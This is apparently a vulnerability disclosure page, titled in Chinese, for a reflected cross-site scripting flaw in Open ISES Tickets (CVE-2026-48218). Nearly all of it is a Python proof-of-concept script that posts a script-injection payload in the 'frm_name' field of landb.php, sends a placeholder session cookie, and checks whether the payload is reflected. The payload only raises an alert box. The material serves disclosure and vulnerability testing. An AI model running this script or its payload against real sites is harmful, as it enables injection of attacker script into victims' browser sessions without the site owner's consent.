CVE-2026-48218: Open ISES Tickets反射型XSS漏洞

import requests # Target URL of the vulnerable endpoint target_url = "http://example.com/icons/buttons/landb.php" # Malicious payload to demonstrate XSS execution xss_payload = '"><script>alert("XSS-Test-CVE-2026-48218")</script>' # Cookies required for authenticated access (replace with actual session cookies) cookies = { "PHPSESSID": "victim_session_id_here" } # POST parameters vulnerable to injection post_data = { "frm_name": xss_payload, "frm_id": "12345" } try: # Send the malicious POST request response = requests.post(target_url, data=post_data, cookies=cookies) # Check if the payload is reflected in the response if xss_payload in response.text: print("[+] Vulnerability confirmed: Payload reflected in response.") print(f"[+] Response status code: {response.status_code}") else: print("[-] Vulnerability not detected or payload filtered.") except Exception as e: print(f"Error: {e}")